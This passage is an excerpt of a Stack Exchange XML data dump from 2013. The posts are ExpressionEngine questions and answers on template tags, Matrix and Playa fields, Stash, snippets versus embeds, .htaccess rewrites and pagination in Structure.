LastEditDate="2013-10-26T02:44:02.797" LastActivityDate="2014-01-24T04:24:53.150" Title="Matrix sort parameter + Zoo Visitor not working as expected" Tags="|matrix|pixelandtonic|zoo-visitor|development|zoo|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12090" PostTypeId="2" ParentId="11774" CreationDate="2013-07-18T19:51:34.890" Score="0" Body="&lt;p&gt;I do not fully understood how you're trying to do this, but you can always use &quot;%U&quot; as format for using dates on conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%U&quot;} &amp;gt; {field_start_date format=&quot;%U&quot;} }&#xA;    {if {current_time format=&quot;%U&quot;} &amp;lt; {field_end_date format=&quot;%U&quot;} }&#xA;        event now&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, you can use format=&quot;%Y%m%d&quot; for checking just on a interval of 24 hours.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-18T19:51:34.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12091" PostTypeId="2" ParentId="12083" CreationDate="2013-07-18T20:20:06.793" Score="2" Body="&lt;p&gt;Disclosure: This is probably insane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here's what I did to &quot;solve&quot; the problem utilizing &lt;a href=&quot;https://github.com/pixelandtonic/Iterate&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T's Iterate plugin&lt;/a&gt; and &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul class=&quot;item-list-nav&quot;&amp;gt;&#xA;{exp:iterate alpha='a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z' parse='inward'}&#xA;        &amp;lt;li class=&quot;ig-{alpha}&quot;&amp;gt;&amp;lt;a href=&quot;#ig-{alpha}&quot;&amp;gt;{alpha}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:iterate}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{exp:iterate alpha='a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z' parse='inward'}&#xA;    &amp;lt;div class=&quot;item-list-group&quot; id=&quot;ig-{alpha}&quot;&amp;gt;&amp;lt;a name=&quot;ig-{alpha}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;span class=&quot;item-list-group-title&quot;&amp;gt;{alpha}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name='service_list' match='#^(?i){alpha}#' against='item_title'}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{item_url}&quot;&amp;gt;{item_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:iterate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Insane? Maybe. But does it work? You bet.&lt;/p&gt;&#xA;" OwnerUserId="445" LastActivityDate="2013-07-18T20:20:06.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12092" PostTypeId="2" ParentId="12044" CreationDate="2013-07-18T20:27:07.010" Score="0" Body="&lt;p&gt;A simple work around would be to use an embed and pass the associated entry id through to that. It's probably not the most efficient method, but it should avoid the issue with nesting a mat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=== display.html ===&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix}&#xA;        {playa}&#xA;           {embed=&quot;embeds/deepinfo&quot; entry_id=&quot;{entry_id}&quot;&#xA;        {/playa}&#xA;    {/matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;=== embeds/deepinfo.html ===&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot;}&#xA;    {title}&#xA;    {matrix}&#xA;        {deep_value}&#xA;    {/matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="681" LastActivityDate="2013-07-18T20:27:07.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12093" PostTypeId="1" AcceptedAnswerId="12120" CreationDate="2013-07-18T20:43:22.943" Score="0" ViewCount="165" Body="&lt;p&gt;There are only two channels: 'videos' and 'products'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several categories all set by the managers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Videos are entered as single entries and are given a category or multiple categories, depending on the usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Products are entered as a single entry as well. The only field is the playa field where you drag over the related videos for that product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is simple as well. In the product template, I just need to render the {title} of the product for that page/entry. Simple enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there is a side nav listing the categories of the related/selected videos in the playa field. I only need to show them once, so if there are 30 videos and 3 categories total, it would show something similar to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category A (14)&lt;/li&gt;&#xA;&lt;li&gt;Category B (12)&lt;/li&gt;&#xA;&lt;li&gt;Category C (4)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An finally in the main page, show the videos per category like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VIDEO 1  -  VIDEO 2  -  VIDEO 3...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VIDEO 1  -  VIDEO 2  -  VIDEO 3...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little more info...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run into trouble reading the product entry which has the playa field. The categories are attached to the videos and not the products. I can list out the playa fields in the videos section of the main page, but the side nav is still getting me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I get the list of categories for the videos which are related to the product via playa? (And a count on top of that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could write a query to do this, but I would like to keep it all intact if possible.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-07-18T21:42:36.387" LastActivityDate="2013-08-18T17:10:21.780" Title="Should be simple... Playa field with categories" Tags="|playa|embeds|categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12094" PostTypeId="1" AcceptedAnswerId="12149" CreationDate="2013-07-18T22:28:48.987" Score="1" ViewCount="32" Body="&lt;p&gt;I've just copied the &lt;a href=&quot;https://github.com/experience/testee.ee_addon/wiki/Installation-Instructions&quot; rel=&quot;nofollow&quot;&gt;Testee&lt;/a&gt; files into the appropriate places in my EE installation. When I try to install the module from the control panel it complains that it can't find the file &lt;code&gt;system/expressionengine/libraries/EE_Table.php&lt;/code&gt;. This file does not exist in that directory of my installation, what is it? Is it from an older / newer version of EE? (I am running 2.1.3). &lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2013-07-21T19:31:06.680" Title="What EE_Table.php file is Testee add-on referring to?" Tags="|module|table-class|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12095" PostTypeId="1" AcceptedAnswerId="12096" CreationDate="2013-07-18T22:38:05.597" Score="1" ViewCount="257" Body="&lt;p&gt;Using Solspace Calendar, I am displaying a list of related entries (from a relationship field) on an individual event page, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events event_id=&quot;{embed:event_id}&quot;}&#xA;&amp;lt;section id=&quot;related-orgs&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;hd&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Related Organisations&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;bd&quot;&amp;gt;&#xA;    &amp;lt;!-- Start Entry Listing --&amp;gt;&#xA;    &amp;lt;ul class=&quot;entries compact&quot;&amp;gt;&#xA;        {event_organisations}&amp;lt;li class=&quot;entry&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{event_organisations:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/event_organisations}&#xA;     &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;!-- End Entry Listing --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is pulling through the related entries correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However, if there are no related entries, I don't want that section to appear at all.&lt;/strong&gt; I have tried using &lt;code&gt;count&lt;/code&gt; and &lt;code&gt;total_results&lt;/code&gt; as per the below, but this appears to prevent it from showing even when there are relationships.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events event_id=&quot;{embed:event_id}&quot;}&#xA;{if event_organisations:count == &quot;1&quot;}&amp;lt;section id=&quot;related-orgs&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;hd&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Related Organisations&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;bd&quot;&amp;gt;&#xA;    &amp;lt;!-- Start Entry Listing --&amp;gt;&#xA;    &amp;lt;ul class=&quot;entries compact&quot;&amp;gt;{/if}&#xA;        {event_organisations}&amp;lt;li class=&quot;entry&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{event_organisations:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/event_organisations}&#xA;     {if event_organisations:count == event_organisations:total_results}&amp;lt;/ul&amp;gt;&#xA;    &amp;lt;!-- End Entry Listing --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing an obvious solution?&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="393" LastEditDate="2013-07-18T22:43:14.730" LastActivityDate="2013-07-19T18:26:19.640" Title="Show content only if there are one or more relationships" Tags="|relationships|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12096" PostTypeId="2" ParentId="12095" CreationDate="2013-07-18T23:30:47.220" Score="1" Body="&lt;p&gt;Since you don't need to show calendar data in this part of template, why not to use the traditional channel:entries module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, you're checking for the position in the loop &lt;strong&gt;outside&lt;/strong&gt; the loop!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:event_id}&quot;}&#xA;    {event_organisations}&#xA;    {if event_organisations:count == 1}&#xA;        &amp;lt;section id=&quot;related-orgs&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;hd&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;Related Organisations&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;bd&quot;&amp;gt;&#xA;                &amp;lt;!-- Start Entry Listing --&amp;gt;&#xA;                &amp;lt;ul class=&quot;entries compact&quot;&amp;gt;&#xA;    {/if}&#xA;                    &amp;lt;li class=&quot;entry&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{event_organisations:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {if event_organisations:count == event_organisations:total_results}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;!-- End Entry Listing --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;    {/if}&#xA;    {/event_organisations}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-07-19T18:26:19.640" LastActivityDate="2013-07-19T18:26:19.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12097" PostTypeId="1" AcceptedAnswerId="12098" CreationDate="2013-07-19T01:42:03.593" Score="0" ViewCount="95" Body="&lt;p&gt;Have on mind that this post comes from someone who still after very few projects in EE is still a newcomer. That being said I’m looking forward to start a new project with a “best practice” approach. So, after listening and learning so much from the “unofficial” podcast with @lealea and @emilylewis (hopefully @mediagirl becomes part of the show) I’m in this anti-embed situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For I what I heard and read, {embeds} are not the best approach since they use many resources. But still I find no alarm or recommendation from EllisLab on how NOT to use them. The community via #eecms has shared some insights @Boyink tells me “try embeds and measure performance yourself. They still work fine in most cases.”  @jasonleelab recommends Low Variables and @pauloelias goes for a Stash approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about using Template Morsels and tried Stash Embed with very bad results: pages wont refresh and it was a design nightmare. (I did tried &lt;a href=&quot;https://github.com/croxton/Stash/blob/dev/docs/working_with_files.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/blob/dev/docs/working_with_files.md&lt;/a&gt; approach and I’m sure I’m doing something wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m trying to find the best DRY method that doesn’t affect the site’s performance. At this point I have some HTML code that I want to use on several templates, a couple of {exp:channel:categories channel=&quot;Publicaciones&quot; style=&quot;nested&quot;} , etc. But I’m heading to a user site with lots of sessions and downloads and really wish to start the best way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="102" LastActivityDate="2013-11-15T12:51:38.260" Title="Embed labyrinth: which way to go?" Tags="|embeds|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12098" PostTypeId="2" ParentId="12097" CreationDate="2013-07-19T02:19:51.453" Score="1" Body="&lt;p&gt;Have you considered using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;snippets&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Snippets can be considered to actually be part of the template that&#xA;  they are used on, with their expanded contents parsed simultaneous to&#xA;  other tags and variables on the template. Embedded templates are&#xA;  separate templates, with their own preferences (caching, PHP parsing,&#xA;  access, etc.), and are parsed individually. Put another way, embedded&#xA;  templates are not included in the parent template, but rather added to&#xA;  them after the fact, using a separate query and full page parsing&#xA;  resources for each template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Snippets tend to be more performance friendly.  Boyink talks about snippets on &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/snippets-or-embedded-templates&quot; rel=&quot;nofollow&quot;&gt;train-ee&lt;/a&gt; as well including some performance tests. &lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-07-19T02:19:51.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12099" PostTypeId="1" CreationDate="2013-07-19T02:49:54.457" Score="2" ViewCount="63" Body="&lt;p&gt;Basically my problem is I wanted to retrieve the input values prior to submitting the cart so when an error is encountered, the values entered by the customer will still be in the form. Something like how the Codeigniter form validation library does. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1722" LastActivityDate="2013-07-19T09:45:11.767" Title="Exp:resso Store Inline Error handling restore previous values" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12100" PostTypeId="2" ParentId="12097" CreationDate="2013-07-19T03:05:20.237" Score="0" Body="&lt;p&gt;Your best approach is to choose the right tool and just use addons if you really need them. Stash, for example, allow you to do really crazy things and it can improve or decrease your performance, like any tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For static code, use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/user_defined.html&quot; rel=&quot;nofollow&quot;&gt;User-defined variables&lt;/a&gt;. They are just added to your templates after all dynamic parsing (number 21 on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing order&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For repeatable pieces of code, use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;snippets&lt;/a&gt;. They are added to your code before the modules and addons do its job (number 5 on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing order&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippets and User-defined global variables can be edited as plain files using &lt;a href=&quot;http://devot-ee.com/add-ons/snippetssync&quot; rel=&quot;nofollow&quot;&gt;SnippetsSync&lt;/a&gt;. Just remember to disable the automatic update on your live site adding this code to your config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['snippetssync_production_mode_override'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embeds are full templates that are added to its parents close to the end of parsing (number 19 on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing order&lt;/a&gt;. They are your last option before addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For really little pieces of code you need on early stages of parsing, add them to your config file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $assign_to_config;&#xA;if( ! isset($assign_to_config['global_vars']))&#xA;$assign_to_config['global_vars'] = array(&#xA;    'cv-static_domain' =&amp;gt; '//a.do.main',&#xA;    'cv-short_domain' =&amp;gt; 'http://do.main'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Config variables can be accessed on templates just like snippets and are parsed before all modules and add-ons.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-11-15T12:51:38.260" LastActivityDate="2013-11-15T12:51:38.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12101" PostTypeId="2" ParentId="12068" CreationDate="2013-07-19T03:43:23.567" Score="1" Body="&lt;p&gt;If your “OFF Value” setting is blank, that should work, however that IS_EMPTY flag can be a little buggy because EE doesn’t factor in NULL values, which is exactly what all of your entries will have which haven’t been saved since you added the Switch field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So rather than searching for &quot;not IS_EMPTY&quot;, you might be better off searching for the “ON Value” setting explicitly. Assuming you left it at the default value of “y”, your parameter would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:images=&quot;=y&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-19T03:43:23.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12102" PostTypeId="2" ParentId="12064" CreationDate="2013-07-19T03:47:28.460" Score="3" Body="&lt;p&gt;Generally when this happens it’s because either your system is off, or your .htaccess file intercepting Assets’ Ajax requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it’s the latter, you can try adding this to system/expressionengine/config/config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['assets_site_url'] = &quot;/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you don’t have a .htaccess redirect that forces “index.php” out of the URL, that should help Assets’ Ajax requests bypass your main index.php redirect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you &lt;em&gt;do&lt;/em&gt; have a redirect that forces index.php out of the URL, then try modifying your main index.php redirect to include this line before the &lt;code&gt;RewriteRule&lt;/code&gt; line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} !^ACT= [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And also change your &lt;code&gt;RewriteRule&lt;/code&gt; line to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.+)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Notice the ‘&lt;code&gt;.+&lt;/code&gt;’ rather than ‘&lt;code&gt;.*&lt;/code&gt;’.)&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-07-19T18:05:03.263" LastActivityDate="2013-07-19T18:05:03.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12103" PostTypeId="2" ParentId="12044" CreationDate="2013-07-19T03:51:06.067" Score="5" Body="&lt;p&gt;It’s actually just sheer luck that that worked for you in EE1 – there are a lot of variables at play with EE’s parse order, and most of the time that kind of thing won’t work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get it working using Matrix and Playa’s &lt;code&gt;var_prefix&lt;/code&gt; parameters, though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix}&#xA;        {playa var_prefix=&quot;playafield&quot;}&#xA;            {playafield:title}&#xA;            {playafield:matrix var_prefix=&quot;nested_matrix&quot;}&#xA;                {nested_matrix:deep_value}&#xA;            {/playafield:matrix}&#xA;        {/playa}&#xA;    {/matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(You’d probably want to choose more semantic var prefixes than “playafield” and “nested_matrix” but hopefully you get the idea.)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-19T03:51:06.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12104" PostTypeId="2" ParentId="10123" CreationDate="2013-07-19T09:26:40.487" Score="0" Body="&lt;p&gt;FWIW this late in this thread, I have a &lt;a href=&quot;https://www.debeer.com/index.php/debeer/expressionengine_meet_multiple_memberships&quot; rel=&quot;nofollow&quot;&gt;multiple membership module&lt;/a&gt; that does exactly what is asked by Jamie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind this V0.9 Beta. &lt;a href=&quot;https://www.debeer.com/index.php/hooblong#todo&quot; rel=&quot;nofollow&quot;&gt;Suggestions for development&lt;/a&gt; are available.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-07-19T09:26:40.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12105" PostTypeId="2" ParentId="11734" CreationDate="2013-07-19T09:33:41.230" Score="1" Body="&lt;p&gt;You can limit the ability to view channel content by channel/member group combinations using &lt;a href=&quot;https://www.debeer.com/index.php/debeer/expressionengine_meet_multiple_memberships&quot; rel=&quot;nofollow&quot;&gt;HooBlong&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bear in mind this is still in beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't be put off by the fact that the module can also be used to assign a member to more than one group - the front end channel control that you are looking for is built in for all memberships.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-07-19T09:33:41.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostTypeId="2" ParentId="12099" CreationDate="2013-07-19T09:45:11.767" Score="2" Body="&lt;p&gt;You should be able to use the value attribute to recall the value entered into the form field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;order_custom1&quot; value=&quot;{order_custom1}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case I'm using &lt;code&gt;order_custom1&lt;/code&gt; as an example but the same can apply for any any order field. You may wish to also wrap it in a conditional to check if there is any value before displaying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;order_custom1&quot; value=&quot;{if order_custom1}{order_custom1}{/if}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-07-19T09:45:11.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12109" PostTypeId="1" AcceptedAnswerId="12111" CreationDate="2013-07-19T10:59:15.137" Score="0" ViewCount="520" Body="&lt;p&gt;Pagination isn't working for me in Structure for a listing-template. My entries loop for the listing looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='remedy'&#xA;    limit='9'&#xA;    dynamic='no'&#xA;    orderby='title'&#xA;    sort='asc'&#xA;    paginate='bottom'&#xA;}&#xA;    &amp;lt;article class=&quot;remedy&quot;&amp;gt;&#xA;        &amp;lt;h4 class=&quot;remedy-title&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p class=&quot;remedy-description&quot;&amp;gt;{remedy_rel_product backspace='2' limit='3'}&amp;lt;a href=&quot;{url_title_path='shop/product'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;, {/remedy_rel_product}&amp;amp;hellip;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;    {paginate}&#xA;        {pagination_links}&#xA;            &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                {first_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/first_page}&#xA;&#xA;                {previous_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/previous_page}&#xA;&#xA;                {page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/page}&#xA;&#xA;                {next_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/next_page}&#xA;&#xA;                {last_page}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/last_page}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The links output the right path, when I click on it going to /my-page/P##, it'll just default out to the site's home-template. In the template-debugger that's also exactly what I see: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(0.000218 / 14.59MB) Path.php Template: /&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While without the pagination-segment it shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(0.000138 / 14.59MB) Path.php Template: _templates/remedy_listing&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the correct template. Any thoughts as to what's going on here? I'm running Structure 3.3.10 on EE 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2013-07-19T12:47:47.357" LastActivityDate="2013-07-19T14:18:04.340" Title="Structure / Listing Pagination" Tags="|templates|structure|pagination|path|listing|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
